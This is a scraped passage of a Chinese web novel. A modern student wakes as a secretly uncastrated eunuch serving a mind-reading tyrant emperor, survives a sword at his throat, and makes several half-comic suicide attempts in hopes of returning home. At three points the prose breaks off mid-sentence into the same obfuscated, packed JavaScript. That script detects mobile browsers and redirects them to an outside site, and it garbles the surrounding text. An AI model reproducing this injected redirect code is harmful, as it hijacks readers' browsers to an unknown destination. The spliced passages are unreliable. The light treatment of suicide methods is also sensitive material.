如此心口不一,如此腌臜恶心。 是的,他会读心。 这是他自出生起就拥有的能力,只是他并不喜欢用。 因为听到的大多是肮脏污秽,而且每次用完后头都会疼,那不是一般的疼痛,而是如有千万根银针同时刺入脑中。 但今日他又用了。 他的弟弟私下联络大臣,与他母妃里应外合,将侍卫混于宫人内带入朝宴,想要取他性命。 那么点人,根本不足为惧,他甚至连禁军都没动便一网打尽。 岐岸有些不明白,用剑挑起他的下巴,问他为什么要这么做? 曾经总是跟在他屁股后面叫他皇兄的孩童已经长成了俊秀的青年。 眼中再也没了崇拜和尊敬,取而代之的是无边的愤怒和恨意。 “为什么?你目无君父,设计夺位,逼父皇退位,害得他郁郁而终,你还是乱臣贼子,暴虐无度,残害手足,如果我不反,下一个就是我,反正横竖都是一死。” 岐岸没有说话,只是静静望着面前满目恨意的青年人。 许久,才问了一句,“你觉得我会杀了你?” “你当然会杀了我!大皇兄,三皇兄,四皇兄,五皇兄,六皇兄都死了,下一个不就是我,事到如今,你还装什么好人,你迟早会杀了我,现在正好有了理由,你刚好可以动手。” 岐岸没有回答,只是依旧望着他。 有一秒,他手中的剑微抖,但很快便被他克制住,因此并没有人发觉。 更没有人发现他的脸色因突如其来的痛苦而苍白了起来。 脑海中似有千万根针扎过,紧接着他听到弟弟的心声。 是难得心口一致的声音。 “你会杀了我!你当初怎么不死在北朔!” 岐岸闭上眼睛,只觉得脑海中的那些针似乎正在不断下移,移至胸口,万箭穿心。 “是。”不知过了多久,岐岸再次睁开眼睛,握剑的手微微用力,“你说得对,我会杀了你。” - 血气弥漫,殿内几乎不能呼吸。 可岐岸并不受任何影响,脚步依旧平稳,提着滴血的剑向不远处的小太监走去。 小太监不知是不是吓软了腿脚,竟然没有乱跑,只是安静地跪在那里,一双杏眼睁得极圆,满目惊讶地望着自己。 还真是大胆。 岐岸已经不记得有多年都没见过敢这样直视自己的眼睛。 很多年前似乎有过,或俯视或仰视,或打量或鄙夷。 而这双眼睛中什么都没有,他只是望着自己。 这是一种很奇怪的感觉。 他从前是皇子,如今是帝王,因此很少有人会这样望着自己,与自己对视,即使偶有对视也会迅速避开,眼中不是敬畏便是恐惧。 还是第一次碰到这样的目光,就像他们平等地站在一起。 这对一个帝王来说,并不是好事,因为这意味着不受控制。 于是岐岸把沾着血的长剑抵上了他的脖颈,这才终于如愿在小太监的眼中看到了恐惧。 但不知为何,岐岸依旧觉得有些不对劲。 刀剑之下,面前的人和他杀过的那些人似乎没什么不同,一样害怕,一样惊恐。 但岐岸还是觉得有些不同,一时之间他很难说清楚这种不同是什么,但凭借那一抹不可言说的直觉,岐岸还是敏锐地感觉到,他和这里的人都不同。 有什么不同呢? 因为没有求饶吗?岐岸心想。 或许是,因为面前的人真的很安静。 他杀过那么多人,死亡降临时的恐惧一般人根本无法承受,因此总会试图说些什么来缓解恐惧,比如求饶,比如骂人。 可是面前的人都没有。 他只是安安静静地跪在自己的面前,薄薄的嘴唇不停地念着什么? 这个小太监实在太过异常,因此千尧难得生出了几分好奇,好奇他此时的内心,好奇他是不是在给自己下咒。 毕竟西疆多巫蛊,在这宫中渗透一些会巫蛊的小太监并非不可能,多防备些总没坏处。 因此岐岸第一次将读心的能力用在了一个小太监的身上。 然后他就听到了,“富强,民主,文明,和谐……” 反反复复。 这是什么? 其实这些单拎出来也能明白,但放在一起便让他有些不懂。 难道是西疆新出的蛊咒? 头痛很快袭来,今日连用了两次能力,岐岸难受得厉害,懒得和他虚与委蛇,直接将小太监颈侧剑刺了一寸进去。 “什么是民主?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769234|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 岐岸并没有全部问出,毕竟他不想直接暴露自己会读心。 同时也想继续听他的心声。 然后就听见什么穿越,无限流,副本,国学,中文…… 岐岸一句也没听懂。 这都是什么乱七八糟的东西。 他很想让小太监说些他能听懂的话,但又不知该如何开口,加上头疼失去了耐心,因此握着剑的手一紧,剑刃又进了一寸。 然后小太监的莹白如玉的脖颈便被破开,温热的血液流了出来,和剑身上的血融在了一起。 然后他就听到了,“疼疼疼疼疼疼疼疼疼疼疼……” 有很长一段时间,岐岸脑子里都是那要命的疼。 岐岸有些沉默。 宫中的太监多来自穷苦之地,从小吃过的苦不知几何,进宫的日子也不会好过,挨打都是常事,竟还有这样忍不住疼的。 不过话虽如此,岐岸还是把剑移开了些许。 太吵了,吵得他头疼。 移开剑后,小太监那吵闹的心声终于安静。 紧接着就是极尽谄媚的话语。 “民之主,是民之主的意思。” “君乃天之子,乃人间地位至高者,亦是民之主,简称,民主。” 岐岸想说他想听的不是这个,然而不知是不是今日使用能力太过频繁的缘故,太阳穴猛得一疼。 这股痛意来得太过突然,来势汹汹,饶是岐岸也差点没忍住,眼前黑了一瞬。 下一秒就听见一道关切的声音,“你没事儿吧?” 是那个小太监。 岐岸闻言有些想冷笑,自己已经把剑架到了他脖子上,居然还能装得如此关切,心里一定恨不得他赶紧死吧。 于是他忍痛又听了一次,然而没想到听到的确实,“怎么回事儿?他怎么看起来突然这么难受?我要不要扶一下?还是帮他叫太医啊?但我哪儿知道太医在哪儿……” 痛意似乎消散了些许,岐岸缓缓睁开眼睛,有些复杂地看向他。 “不是都希望我死吗?” “什么?”小太监有些不解地问他。 岐岸没有回答。 只是觉得有意思。 这个小太监实在是太奇怪了,因此岐岸难得生出了几分兴趣。 待头疼退去后便下了口谕把他调到了身边。 不管他到底是什么人,留在身边久了,总会露出马脚吧。 - 千尧从书房出来时天已经黑了。 双手又酸又疼,千尧合理怀疑自己的胳膊已经废了。 也是,毕竟谁举一下午东西胳膊应该都会废吧。 不愧是封建社会,是真的没有一点人权啊。 那个茶明明可以直接放在桌子上,为什么非要他一直举着啊? 但其实千尧也不知道一直举着对不对?他很想问问奉茶的时候可不可以把茶放在御案上就离开。 但等皇帝好不容易大发慈悲让他退下,他想问问周围的宫女太监时才发现根本没人和他说话。 最后只有今日领他过来的那个红衣小太监回答了他。 他说:“陛下吩咐,不必教你任何事。” 千尧不太明白,“这是什么意思?” 然后那人就不肯说了,只说:“陛下圣意,岂容我们揣度。” 千尧:“……” 千尧出来之后想了一路到底是什么意思。 最后还是决定放过自己,先去小解,他一下午没上过厕所,差点憋死。 因此一回到太监院就迅速问了太监的净房在哪里? 太监院里的太监还挺好说话,给他指了路。 千尧进去的时候里面并没有人,只是放着几个类似马桶的恭桶。 除此之外,还有一个椅子,椅子上铺了一层白布,上面放着几根芦苇管。 千尧见状,视线立刻被吸引了过去。 刚开始还有些茫然,但很快想到太监的身份,稍一思索便明白了这东西的用途。 这也太羞耻了吧。 还好他用不上。 千尧一边想一边开始解裤子,但解到一半才反应过来他现在也是太监。 想到这儿,千尧解裤子的手瞬间停了下来。 大概是从穿过来到现在每一刻都过得太提心吊胆,根本没空想这些事,因此直到这一刻,千尧才对他也是一个太监这件事有了实感。 等等,他也是太监,所以他已经没有了…… 想到这儿,千尧根本不敢去解自己的裤子。 所以他现在已经不是男人了吗? 他才十九岁!那他下半辈子的幸福可怎么办呢? 不过就现在这个工作环境,他还能不能活到下半辈子都不一定。 因为这个消息意识到得太过突然,千尧一时间实在接受不了自己痛失男性特征的打击,于是又把腰带绑了回去,然后蹲在椅子前,看着面前的芦苇管发呆。 以后真的要用这个了吗? 看起来很痛的样子。 千尧一直觉得自己还挺乐观的,但这一刻真的乐观不起来了。 毕竟痛,实在是太痛了。 不过千尧也没难受太长时间,毕竟忍了一下午实在忍不住了。 因此最后还是狠了狠心,咬了咬牙,把裤子解开。 然而就在他已经准备坐下尿尿时,却又突然意识到了什么,猛地把裤子拉了回去,整个人钉在了原地。 许久,才终于反应过来一般拉开裤子低头向里看去。 不是,他不是太监吗?为什么他还有那个东西? 一时间大悲大喜又大悲,心情简直如过山车一样刺激。 千尧觉得要不是自己心理素质好,这会儿怕不是已经犯了心脏病。 按理说没有痛失宝贝应该是开心的,但想起今天的经历,千尧又觉得这似乎也不是什么喜事。 虽然没在古代生活过,但千尧也明白一个男的在古代皇宫乱跑是什么大罪。 更何况他还在御前伺候,以后说不定还会接触皇帝的后妃,这要是被发现…… 千尧这次真的快尿了,吓尿了。 脖子上的伤口虽然已经结痂,但痛意未减,千尧莫名想起了今日那把剑抵在脖子上时的感觉。 凉凉的。 是完蛋的感觉。 4. 绝望 千尧很绝望。 更绝望的是第二天天还没亮就被叫了起来,千尧分不清古代的时间,但被叫起来的时候目测没超过四点。 对于一个早八都觉得痛苦的人来说,这个时间点起床实在是太要命了。 更要命的是他还得去皇帝面前当差,伺候他漱口和喝茶。 好不容易等他去上了朝,千尧还以为自己能轻松点。 然而并没有,即使皇帝不在他们也要时刻准备着热茶和汤饮,以备皇帝随时回来时用。 千尧依旧什么都不会,因此试图询问周围的人,然而不知是不是皇帝下过命令的缘故,周围根本没有人理他。 所以千尧只能默默看别人是怎么做的,然后再跟着照做。 一天下来只觉得整个人都不好了。 不行,他不能留在这儿了,他要回家。 无论付出任何代价他都要回家,封建社会太可怕了,他一秒都待不下去了。 于是千尧开始思考起回家的方法。 很快他就想起自己来到这儿是因为洗澡的时候不小心摔倒磕到了后脑勺。 所以想要回去是不是也得再磕一下? 想到这儿千尧决定先在台阶上试一试,于是趁着这日白天不当值的时候在院子里转了一圈,然后找到了最高的一处台阶站了上去。 然而等他上去后才发现,虽然是台阶,但似乎也有些太高了,他从小到大被保护得太好,皮都没怎么破过,因此刚一站上去就开始发怵,所以在台阶上站了快半个时辰都没倒下去。 吹了半个时辰的冷风,千尧也想通了很多事情,比如照这个情况来看,想要靠自己往下倒是不可能了,因此只能找人帮自己一把。 但他刚来,这里根本没有熟人,更何况就算认识了,一般人肯定也不会同意。 因此千尧思来想去只能去找小穗子。 毕竟这种事肯定要找信任的人,虽然不知道他和小穗子以前一起经历过什么,但千尧近乎是本能地相信他。 因此等他抽出了时间后立刻摸到了御膳房去找小穗子。 小穗子似乎很忙,好一会儿才出来,衣服还沾着面粉,但看见他还是很高兴,蹦蹦跳跳地跑了过来,惊喜道:“你怎么来了?” 说着偷偷给他手里塞了一块点心,“我做的,你快吃。” 千尧看着他,心中一阵感动,一时间有些犹豫,要是他真磕出了什么事,是不是会连累小穗子? 但转念一想古代又没有监控,一会儿只要找个没人的地方,让他推完赶紧走应该就没什么事。 想到这儿,千尧终于下定了决心,于是伸手把他拉到了一旁的角落处说道:“我想求你帮我个忙。” “什么忙?你说。”小穗子立刻说道。 “就是……”千尧说着指了指一旁的台阶,“我一会儿站那儿,你能不能推我一把?把我推下去?” “为何?”小穗子听得一脸懵,“你烧糊涂了?” 说着抬手摸了摸他的额头,“也不烫啊。” “我没有发烧。”千尧立刻说道,“我就是……” 千尧也不知道该怎么解释,因此干脆不解释了,只是问道:“你能帮我这个忙吗?” “当然不能,我怎么能伤害你呢。”小穗子立刻拒绝道。 “不,这不是伤害,你是在帮我。” 小穗子闻言眼中的茫然更盛,“阿尧,你到底是什么意思?” “别管什么意思,你推我一下就好了。” “你疯了吧,你现在可是御前的人,哪儿能随便受伤。” “我知道,但……” 千尧的话还没说完,胳膊就被小穗子抓住,然后就见他一脸紧张地问道:“阿尧,是不是出什么事了?” “没有。” “真的没有吗?”小穗子看起来并不相信,“难道是……你想寻死?” 想到这儿小穗子立刻慌了,一把抓住了他。 “你可别想不开啊,我知道你现在肯定很痛苦,但若是你死了的话,所有人的心血可就全白费了,千家最后的血脉也就断了。” 千尧原本只是想让他推自己一把,磕到头赶紧回家,没想到竟然还有意外收获。 “千家最后的血脉?” “这个也不记得了吗?”小穗子不知想到什么,眼眶一下子红了。 千尧有些庆幸自己那天用了失忆做借口,不然肯定早就穿帮了。 于是点了点头问道:“为什么是最后的血脉?我的家人都死了吗?” 对于不孝有三,无后为大的古代人来说,如果不是家里穷到揭不开锅,是绝对不会将孩子送到皇宫里当太监的。 因此千尧一开始还以为原身应该也和其他人一样出身于穷苦之家。 但昨晚看到自己竟然是个假太监,外加现在小穗子的反应,他突然意识到事情应该没有那么简单。 果不其然,小穗子的下一句话就是,“是。” “什么意思?到底发生了什么事?” 小穗子眼中闪过一丝为难,因此纠结许久才开口道:“之前废太子一案千家牵扯其中,先皇下令,千家成年男子十六岁以上全部斩首,剩下的男子为宦官,女眷为官妓。” 因为这个消息得知得太过突然,因此千尧愣了一下才反应了过来。 “所以我还是罪臣之后?” “嗯。”小穗子眼中瞬间蕴满了泪意,“这其中一定有什么误会,千大人不是会随意参与党争的人……” 小穗子还在说着什么,但千尧已经听不进去了。 他只觉得眼前一黑。 罪臣之后,假太监,伺候的还是一个暴君,怎么看都是命不久矣的命数。 这放在小说里不就是妥妥的炮灰? 几乎在同一时间,千尧脑海中闪过无数古代刑罚,弹琵琶,铁梳子,浇热油,剥皮,凌迟,腰斩…… 以那个暴君的暴虐程度,千尧毫不怀疑他要是发现自己是假太监,肯定会在上面这些刑罚里替自己选一样。 如果是那样,千尧觉得不如自己了断。 “阿尧,你怎么了?”小穗子见他一瞬间仿佛魂魄被抽走的模样更加担心。 千尧在他的呼唤中重新回过神来,“没事,只是想开了。” 今天的打击实在太大,因此倒是没了之前的恐惧,甚至为了增加成功率,千尧直接放弃了台阶,挑了个半人高的台子从上往下摔。 只是虽然做足了心理准备,但身体的本能反应根本不是自己可以控制的,在摔倒的瞬间还是下意识地护住了自己,因此千尧虽然疼得两眼一黑,但其实并没有多大伤害。 因此这个方案也被他否了。 算了,要不直接自裁吧。 他只是灵魂穿过来了,要是死了的话,灵魂应该能再回去吧。 但万一回不去的话…… 那也认命了,总比在这儿活受罪的强。 更何况还有随时被发现是假太监后被处以极刑的风险。 想到这儿,千尧便开始准备起了古代的死亡三件套。 首先是白绫。 但他根本没有白绫,于是找了根破布条趁着住的地方没人的时候试图勒死自己。 但刚一用力,脖子便疼得要命,而且不能呼吸的感觉实在太过难受,因此千尧试了三次之后就决定放弃。 既然勒死不行,那就只能试试匕首了。 但这个也不可能,首先他就弄不到匕首。 他们都是御前的人,身边根本不被允许有这种危险的东西,更何况他也实在没勇气用刀捅自己。 这个也不行的话那就只能试试毒酒了,但他根本买不到毒药。 千尧原本试图找找平替,看能不能在墙角之类的地方找到一些老鼠药什么的,但也没有,他只能死心。 自杀三件套都不行后千尧还尝试了一下投井。 但一靠近井边,看着里面幽幽的井水便立刻没了勇气。 这井水看起来很凉的样子,而且那么深,周围湿湿滑滑,说不定还有蛇…… 因此只一眼千尧便立刻打消了投井的念头。 “哎。千尧站在幽幽的井口旁幽幽地叹了口气。 活又活不长,死又死不了,还有什么比这更绝望的事? 因为太过绝望,千尧站在井边难过了好一会儿才重新收拾好心情回了太监院。 回去时正好到了吃饭的时间。 事已至此,先吃饭吧。 然后千尧从膳房领到了一碗萝卜煮白菜。 千尧看到碗里菜的那一刻才发现刚才绝望早了。 竟然还真有更绝望的事,一时间人生无望之感到了巅峰,但他还是含泪吃了一口,没办法,他真的好饿。 结果吃完之后哭得更厉害了,实在是太难吃了。 但尽管如此千尧还是硬着头皮多吃了几口,因为吃完饭还得去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769235|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上班。 他怕不吃点东西一会儿饿晕过去。 今晚他上夜,负责御前的茶水。 虽然没人教过他,但千尧这几天没事儿就看别人怎么做,因此也多少明白了点伺候的规矩。 比如上夜的时候每隔两刻钟就要换一壶茶水,要保证皇帝任何时候想喝时茶都是热的。 寝宫有一架西洋钟,因此千尧从进来起就时刻看着那架钟,生怕自己错过了换茶的时间。 刚换过第一遍茶,皇帝就进来了。 他似乎有些疲倦,一进来就道:“茶。” 千尧见状立刻倒了杯热茶递过去,然后乖乖地低下头,很快就见一只修长的手从他手中接过了茶盏。 千尧这些日子也悄悄学了些规矩,一直目不斜视,没有再像以前一样抬头看,全程垂眸,两只手恭恭敬敬地举在身前,等着面前的人喝完茶后把杯子放回去。 然而那人喝完后却没有把茶盏放下,修长的手指轻轻地摩挲着茶杯,有一搭没一搭地把玩着茶盏。 紧接着头顶传来一声轻笑,像是……碰到了什么合心意的玩具。 千尧有些不明所以,伸着手想要去接他喝完的茶盏,然而他却没有把茶盏放下,反而冲他张开双臂,“更衣。” 虽然这些日子千尧已经明白了他们不能直视帝王,但这个突如其来的要求还是令他没忍住抬了一下眼。 御前职责分明,他只负责茶水,哪里会更衣? 但天子发话,他自然不能不听,因此只能硬着头皮冲他伸出手指。 结果果不其然,他连腰封都不知道从哪里解,因此脱了半天什么也没脱下来。 面前的人没有催促,也没有出声,然而千尧还是能感觉到一道目光如有实质一般盯着他的后脖颈,明明他连声音都没有发出,但千尧还是感觉到了一股无形的压力。 这股压力过于迫人,因此千尧更想赶紧帮他更完衣赶紧离开。 但他本来就对古人的衣袍毫无头绪,面前之人穿的还是帝王的服饰,简直繁琐至极,千尧更解不开。 因此脱了半天什么也没脱下来。 正想着要不直接跪地请罪算了,谁知下一秒就听头顶传来一声略带疑问的,“嗯?” 千尧还没反应过来他在嗯什么?下一秒整个寝殿的宫女太监已经齐刷刷跪了一地。 千尧见状手一抖,也立刻跪了下去。 紧接着寝殿中便是死一般的寂静,明明殿内这么多人,然而却一丝呼吸声也没有。 面前的地毯突然晕湿了一块,千尧这才发现自己额头上不知何时淌出了汗。 若是在从前千尧肯定不会相信有人能用短短一个字就让他吓到五体投地,彻底臣服,但现在才发现自己以前只不过是没有生活在那个环境。 因为离自己的生活太过遥远,从前历史书上的一切于他而言更像是故事,直到这一刻他才终于体会到那不是故事,而是真真实实发生过的事。 处于封建王朝顶端的君主手中的权力是如此恐怖。 一悲一喜,一嗔一怒,甚至只是轻飘飘的一句话一个态度,就能令所有人恐惧地臣服。 千尧不明白他为什么会突然让自己帮他更衣,但也明白根本不需要理由。 他想怎么做就怎么做,想杀自己也就杀了。 殿内肃杀一片,没有人出声,也没有人动作。 明明周围的环境还没那是刚穿过来时看到的血腥,可是千尧却在这一刻真实地感觉到了恐惧。 他不敢抬头,视线之内只能看到一片金线绣以云纹的衣摆。 下一秒,那片衣摆缓缓垂下,落到了地面。 然后一只手抬起来他的下巴,他被迫缓缓抬起头。 因为离得近,千尧终于近距离看到了面前帝王的脸。 第一印象是白,像是苍山上亘古不化的雪,眉眼浅淡,像是水墨画上最工整的一笔,然而那一红一黑的双瞳却又为他添了几分邪气凌厉。 这双眼睛的气势太过骇人,千尧竟不敢和他对视。 刚想低头,便感觉到挑起他下巴的手指轻轻动了动,像是在逗弄着小猫小狗。 “这才几日。”面前的人望着他,神色淡淡,没有一丝表情,连语气都没什么起伏,但千尧还是莫名从他的声音中听出了一丝并不真切的惋惜。 然而下一秒,他说话的话便让千尧的心直接坠到了谷底。 “就变得如此无趣。” 5. 心声 有一瞬间千尧以为自己死定了。 然而没想到的是并没有,面前的男人说完后竟就这么放开了他,然后重新抬起胳膊,示意其他人给他更衣。 繁复的衣服被一件件脱下,悬挂于不远处的衣架。 紧接着明黄色的帷帐撒下,寝殿内的蜡烛被一一熄灭,周围的一切重新变得安静。 那股潮水一般令人窒息的压迫感这才稍稍退去,千尧终于可以呼吸。 但周围实在太过安静,因此他连呼吸都不敢大声。 那人没有让他起来,因此千尧依旧跪着,一动也不敢动,下巴上的触感犹在,那人的手指纤长漂亮,然而指腹却粗粝,抚过他肌肤时像是刀剑一般锋利,带着隐隐的痛意。 到底是什么意思? 什么叫变得无趣?他以前很有趣吗? 千尧试图寻找答案,但实在想不明白,因此明知没有人会理他,但还是下意识向周围的人看去,看看能不能从他们的脸上看出些什么? 然而所有人都离他很远,没有人说话,只是安静地站在角落里,像是一樽樽泥人成了精。 千尧绝望地低下头,怎么办?感觉快死了。 其实也是一件好事,千尧努力安慰自己。 自己本来不也想死,只是……能不能让他自己选个死法? 想到这儿,千尧的脑海中不受控制地开始回想起从前那些古装电视剧里太监宫女的死法,一时间只觉得更绝望了。 绝望似乎会膨胀,一点点将他包裹放大,膨胀到最后,整个寝殿似乎都放不下。 但绝望着绝望着千尧发现自己似乎也认命了。 算了,死就死吧。 总比现在天天在这儿心惊胆战的强。 争取早死早投胎,只希望他还能投生到现代。 周围实在太过安静,加上他起得太早,因此千尧很快就困了。 感觉到困意后千尧自己都很佩服自己,现在这种情况下他居然还能犯困,于是狠狠掐了自己一把。 虽然不知道值夜的时候睡着是什么罪,但千尧知道,肯定不会是什么好下场。 极有可能第二天醒来的时候脑袋已经不在头上了。 但砍头应该算是比较好一点的死法吧,虽然有些吓人,但胜在死得快。 不是,意识到自己在想什么后千尧立刻晃了晃脑袋。 大半夜的他为什么非要想这么吓人的东西啊? 想到这儿千尧立刻闭上眼睛给自己念起了大悲咒。 但这个东西实在太催眠了,加上他本来就困,因此硬撑到后半夜后竟然把自己给念睡着了。 千尧第二天醒来的时候浑身上下都是僵的。 只有脸上软绵绵的,他睁开眼睛,这才发现自己的脸不知何时正贴着地面。 地面上铺着厚厚的地毯,千尧的脸几乎整个陷进了里面。 整个身体因为长时间的紧绷和不动而变得僵硬,浑身上下的骨头像是生了锈的铁,每动一下都疼得要命。 所以他这是……跪着睡着了? 意识到自己做了什么,千尧的第一反应就是赶紧从地上爬起来。 然而大概是一个姿势保持了太久,浑身上下僵得厉害,他根本动不了一点。 大概是人倒霉久了就会逐渐开始习惯。 因此千尧竟然没有惊慌,只是默默祈祷此时还早,那个暴君还没起床。 但眼前的光线很打破了他的幻想,此时天光大亮,明显不可能还没起床,昨晚摆在龙床前的靴子已经不在了,看来那人已经去上朝了。 算了,千尧绝望地闭了一下眼睛。 反正迟早都是要死的。 但死之前他还是挣扎着从地上爬了起来。 果然,千尧看了一眼西洋钟,上面的指针已经快指向九点。 真幽默,穿过来的第一个懒觉居然是在这儿睡的。 不过这都不重要,他很快就能长眠了。 千尧不知道那个暴君什么时候会回来,毕竟经过这几日的相处,千尧也看出来了那人就是个工作狂,一天中绝大部分的时间都在思明殿里批折子,只有晚上才会回寝殿。 但这也意味着他还得在着寝殿里跪上整整一天。 昨晚跪了一夜后千尧的两条腿已经没什么知觉了,若是再跪上一天,估计就彻底废了。 但虽然那暴君不在,寝殿内依旧处处都守着宫人。 因此千尧也不敢太明目张胆地起来,只能轻轻活动着自己的双腿。 然而还没活动多久,就听门外突然传来许多脚步声,最前面的那道脚步声最重。 千尧连忙向门口看去,然后就见那暴君走了进来。 他果然刚下朝,身着黑红色的朝服,头上还戴着冕冠,这黑红之色和他极配,衬得他周身的气势更加凌厉。 所到之处,宫人立刻纷纷行礼。 此时此刻千尧最不想看见他的人就是他,但他连躲都没地方躲,只能跟着磕了个头,俯身跪迎,一颗头低得不能再低,恨不得把自己埋进地底。 千尧此时的心情矛盾至极,一方面希望赶紧知道自己接下来的命运,毕竟等死的滋味真的不好受,另一方面也害怕以那暴君的性格,会给自己处以什么极刑。 但很快千尧就没心思想了,因为他的面前出现了一双靴子。 那是一双黑底的皂靴,鞋面用金线绣以龙身和云纹。 整个皇宫中能穿这样式鞋子的只有一人。 等千尧意识到面前的人是谁,只觉得整个心脏都停跳了一瞬。 周围再次变得安静了下来,明明寝殿内那么多人,然而竟没有一丝人声。 面前的人没有发话,没有动作,也没有出声。 但千尧能感觉到有一道目光正自上而下地望着自己。 他到底想干什么啊?千尧真的很想真诚发问。 有话不能直说吗?他又没有读心术,真的猜不透别人的心思,更何况还是帝王之心。 长久的静默让千尧再次感到窒息,周围的一切实在太压抑,连空气似乎都如有实质一般凝在一起,重重向他压去。 跪了一夜的双腿如有针刺,疼得他不受控制地抖动。 千尧从未有一刻如此迫切地希望面前的人能出声。 无论什么,只要他肯开口就好,这样的安静真的快要把他逼疯。 名为理智的那根弦大概是绷得太紧的缘故,突然断了一瞬。 千尧也不知怎么,竟然忘了御前不能直视君王的规矩,就这么抬起头来,然后对上了他的眼睛。 那人果然正在望着自己。 异瞳的双眸淡淡地向下扫视,里面没有一丝情绪,像是在看着一件死物一般。 直到看见千尧抬起了头,里面才终于有什么闪过,多了几分兴致。 千尧意识到自己做了什么后连忙重新低下头了,求饶道:“陛下饶命。” 话音刚落,就听头顶传来一声极淡的笑。 千尧被这声笑笑得整颗心都揪了起来,以为下一句就是他让人把自己拖出去斩了或者打死。 然而没想到的是,他的下一句竟然是,“怎么还跪着?” 千尧闻言猛地抬起了头。 然后就见面前的人正望着自己。 千尧有些摸不准他的想法,这是放过自己了吗? 可是为什么? 千尧想不明白干脆不想,只是劫后余生一般迅速想要从地上爬起来。 但他跪了一夜,两条腿像是已经不是自己的了,疼到根本站不起来。 于是他只能先爬到旁边的凳子前,然后用两只手扶着旁边的凳子,借着旁边的凳子一点点把自己的身体撑起来。 但双腿根本站不住,很快手也没了力气,就这么狼狈地倒在了椅子上。 然后千尧又听见了一声笑,比刚才的要明晰。 千尧很想骂一句,“笑个屁。” 但想到笑的人是谁,只能硬生生地忍了回去。 “莫存。”那暴君突然叫道,紧接着一个颇为年轻的太监走上前来。 “陛下。” “把他送回去。” “是。” 那位名叫莫存的太监闻言轻轻拍了拍手,立刻有两个红衣小太监走了进来,将他抬了出去。 千尧平生还是第一次被人这么抬着走,还一路从寝殿抬到了太监院。 大概是造型太过奇特,引起了不小的轰动,太监院不当值的太监许多都跑了过来。 但却没人敢靠近他,也没人敢询问他到底发生了什么事。 千尧不太清楚是不是那狗皇帝有什么吩咐,所以周围才没人理他。 但此时觉得没人理也不错,他腿疼得要死,实在没空应付别人。 坐到床上后,千尧鼓了半天的勇气才敢掀开裤子。 然后就见两条腿上一片青紫,膝盖处最为严重,透出来的几乎是黑色。 看到两条腿上的模样,千尧的眼泪差点直接掉了出来。 虽然知道腿上肯定不会轻,但这也太严重了吧,他不会要截肢吧?古代截肢打不打麻药啊? 但很快他发现自己的担心很多余,以他现在的身份,根本没有大夫给他诊治。 好在腿上的都是外伤,虽然看着骇人,却没有真的伤到骨头,第二天就能下地走路了。 千尧本以为自己受了这么严重的伤应该可以休息几天,但很快就发现是他多想了。 第三天他就得去上班。 千尧:我恨封建社会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769236|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过好在他只需要奉茶,工作量不大,只是大部分时间都需要站着。 原本就没上过药的膝盖又被天天这么摧残,好得更慢。 因此千尧觉得自己真的快疯了,但连发泄都不敢,只能默默在心里吐槽。 这到底是什么苦逼的日子? 为什么让他穿越过来过这种日子? 他到底做错了什么? 有时候千尧甚至想他是不是其实已经死了,而这里是十八层地狱,上辈子没有好好做人,死了之后才被罚到这里受苦? 可是他虽然不够上进,但从小到大遵纪守法,老实本分也没干过什么坏事啊? 所以到底是为什么? 千尧很想质问苍天,但苍天根本没空理他。 不得不说,人真的是一种适应性很强的动物。 虽然在这里每天起得比鸡早,过得比狗累,但慢慢的他竟然也已经习惯了。 那暴君虽然有点阴晴不定,但大部分时间根本没空理会他,每天大部分时间都在上朝,接见大臣,批折子,其余时间练习骑射武功书法,再有时间就是喂鸟。 没错,那种杀人如麻的暴君竟然会喜欢养小动物。 真是让人有些难以置信。 他养的动物也很单一,只养鸟,准确来说是麻雀。 寝殿和书房各养了一只。 千尧不理解,但尊重,毕竟他曾生活在现代社会,养更离谱的都有,因此养个麻雀似乎也并不值得稀奇。 这日狗皇帝在思明殿批完奏折已经是深夜,然而回来后却没有急着洗漱,喝了一盏茶后难得有兴致地喂起了寝殿鸟笼里的那只麻雀。 千尧今日不上夜,等他休息后就可以回去睡觉。 然而没想到的是那狗皇帝不知怎么,逗鸟逗上了瘾,足足站在鸟笼前看了半个时辰的麻雀。 他不睡觉千尧也不能走,只能站在不远处随时准备侍奉茶水。 茶水还要两刻钟换一遍。 千尧很快就觉得自己快疯了。 他真的很想睡觉。 谁懂,在现代的时候哪怕每天上早八他也没这么缺过觉。 但自从来到这儿,他就再也没睡饱过一次觉。 一次都没有,他真的好困好缺觉。 缺到有时候精神都会恍惚,想把从前在现代每天熬夜的自己吊起来抽。 一边抽一边骂,“让你熬夜,遭报应了吧。” 物理上的痛苦尚可以忍受,但精神上的疲倦根本无法弥补。 因此千尧常常觉得自己精神已经到了濒临疯癫的极限。 